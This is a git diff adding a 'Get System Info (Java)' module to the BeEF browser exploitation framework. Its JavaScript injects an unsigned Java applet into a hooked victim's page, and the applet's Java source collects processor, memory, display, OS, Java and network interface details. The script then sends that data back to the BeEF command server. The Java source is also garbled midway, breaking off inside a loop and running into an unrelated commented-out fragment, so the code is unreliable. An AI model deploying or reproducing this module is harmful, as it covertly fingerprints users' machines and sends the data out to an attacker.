diff --git a/modules/host/get_system_info/command.js b/modules/host/get_system_info/command.js
new file mode 100644
index 000000000..10881f259
--- /dev/null
+++ b/modules/host/get_system_info/command.js
@@ -0,0 +1,51 @@
+//
+// Copyright 2011 Wade Alcorn wade@bindshell.net
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+beef.execute(function() {
+
+ var internal_counter = 0;
+ var output;
+ var content = "";
+ $j('body').append(content);
+
+ if (beef.browser.isFF()) {
+
+ output = document.getSystemInfo.getInfo();
+ if (output) beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"
"));
+
+ } else {
+
+ function waituntilok() {
+ try {
+ output = document.getSystemInfo.getInfo();
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"
"));
+ $j('#getSystemInfo').detach();
+ return;
+ } catch (e) {
+ internal_counter++;
+ if (internal_counter > 30) {
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=time out');
+ $j('#getSystemInfo').detach();
+ return;
+ }
+ setTimeout(function() {waituntilok()},1000);
+ }
+ }
+
+ setTimeout(function() {waituntilok()},5000);
+
+ }
+});
+
diff --git a/modules/host/get_system_info/config.yaml b/modules/host/get_system_info/config.yaml
new file mode 100644
index 000000000..5a9a52748
--- /dev/null
+++ b/modules/host/get_system_info/config.yaml
@@ -0,0 +1,26 @@
+#
+# Copyright 2011 Wade Alcorn wade@bindshell.net
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+beef:
+ module:
+ get_system_info:
+ enable: true
+ category: "Host"
+ name: "Get System Info (Java)"
+ description: "Retrieves basic information about the host system (such as the number of processors, amount of memory, screen display modes, operating system details, Java installation details and network interface names) using an unsigned Java applet.
Chrome users will be prompted to run the applet."
+ authors: ["bcoles"]
+ target:
+ working: ["O", "FF", "S", "IE"]
+ user_notify: ["C"]
diff --git a/modules/host/get_system_info/getSystemInfo.class b/modules/host/get_system_info/getSystemInfo.class
new file mode 100644
index 000000000..028f9a399
Binary files /dev/null and b/modules/host/get_system_info/getSystemInfo.class differ
diff --git a/modules/host/get_system_info/getSystemInfo.java b/modules/host/get_system_info/getSystemInfo.java
new file mode 100644
index 000000000..4830eb12a
--- /dev/null
+++ b/modules/host/get_system_info/getSystemInfo.java
@@ -0,0 +1,145 @@
+import java.applet.*;
+import java.awt.*;
+import java.net.*;
+import java.util.*;
+
+public class getSystemInfo extends Applet {
+
+ public getSystemInfo() {
+ super();
+ return;
+ }
+
+ public static String getInfo() {
+
+ String result = "";
+
+ // -- Processor -- //
+ try {
+ // System.out.println("Available processors (cores): "+Integer.toString(Runtime.getRuntime().availableProcessors()));
+ result += "Available processors (cores): "+Integer.toString(Runtime.getRuntime().availableProcessors())+"\n";
+ }
+ catch (Exception exception) {
+ //result += "Exception while gathering processor info: "+exception;
+ result += "Exception while gathering processor info\n";
+ }
+
+ // -- Memory -- //
+ try {
+ long maximumMemory = Runtime.getRuntime().maxMemory();
+ // System.out.println("Maximum memory (bytes): " + (maximumMemory == Long.MAX_VALUE ? "No maximum" : maximumMemory));
+ result += "Maximum memory (bytes): " + (maximumMemory == Long.MAX_VALUE ? "No maximum" : maximumMemory)+"\n";
+ // System.out.println("Free memory (bytes): " + Runtime.getRuntime().freeMemory());
+ result += "Free memory (bytes): " + Runtime.getRuntime().freeMemory()+"\n";
+ // System.out.println("Total memory (bytes): " + Runtime.getRuntime().totalMemory());
+ result += "Total memory (bytes): " + Runtime.getRuntime().totalMemory()+"\n";
+ }
+ catch (Exception exception) {
+ //result += "Exception while gathering memory info: "+exception;
+ result += "Exception while gathering memory info\n";
+ }
+
+ // -- Displays -- //
+ try {
+ GraphicsEnvironment ge = GraphicsEnvironment.getLocalGraphicsEnvironment();
+ // System.out.println("Default Screen: "+ge.getDefaultScreenDevice().getIDstring());
+ result += "Default Screen: "+ge.getDefaultScreenDevice().getIDstring()+"\n";
+ GraphicsDevice[] gs = ge.getScreenDevices();
+ for (int i=0; i', <%= @command_id %>,
+ 'internal_ip='+internal_ip+'&internal_hostname='+internal_hostname);
+ }
+ } else {
+ //Trying to insert the Beeffeine applet
+ content = "";
+ $j('body').append(content);
+ internal_counter = 0;
+ //We have to kick off a loop now, because the user has to accept the running of the applet perhaps
+
+*/
diff --git a/modules/host/get_system_info/module.rb b/modules/host/get_system_info/module.rb
new file mode 100644
index 000000000..aad8ad7aa
--- /dev/null
+++ b/modules/host/get_system_info/module.rb
@@ -0,0 +1,31 @@
+#
+# Copyright 2011 Wade Alcorn wade@bindshell.net
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+class Get_system_info < BeEF::Core::Command
+
+ def pre_send
+ BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/host/get_system_info/getSystemInfo.class','/getSystemInfo','class')
+ end
+
+ def post_execute
+ content = {}
+ content['result'] = @datastore['system_info'] if not @datastore['system_info'].nil?
+ content['fail'] = 'No data was returned.' if content.empty?
+ save content
+ BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('/getSystemInfo.class');
+ end
+
+end
+